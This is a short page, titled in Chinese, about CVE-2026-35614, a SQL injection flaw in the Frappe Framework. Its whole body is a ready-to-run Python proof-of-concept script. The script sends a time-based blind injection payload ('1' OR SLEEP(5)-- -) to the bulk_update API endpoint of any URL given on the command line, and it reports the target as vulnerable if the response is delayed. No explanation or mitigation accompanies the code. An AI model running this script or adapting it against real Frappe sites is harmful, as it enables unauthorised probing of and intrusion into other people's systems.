CVE-2026-35614 Frappe Framework SQL注入漏洞

import requests import sys def check_sqli(url): """ PoC for CVE-2026-35614 - SQL Injection in Frappe bulk_update """ target_endpoint = f"{url}/api/method/frappe.model.bulk_update" headers = { "Content-Type": "application/json", "Accept": "application/json" } # Payload to trigger a time-based blind injection (SLEEP 5 seconds) payload = { "doctype": "User", # Common doctype in Frappe "data": [ { "name": "1' OR SLEEP(5)-- -", "field": "status" } ] } try: print(f"[+] Sending payload to {target_endpoint}") response = requests.post(target_endpoint, json=payload, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Server response delayed (SQL Injection).") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"[Error] {e}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python poc.py <target_url>") sys.exit(1) check_sqli(sys.argv[1])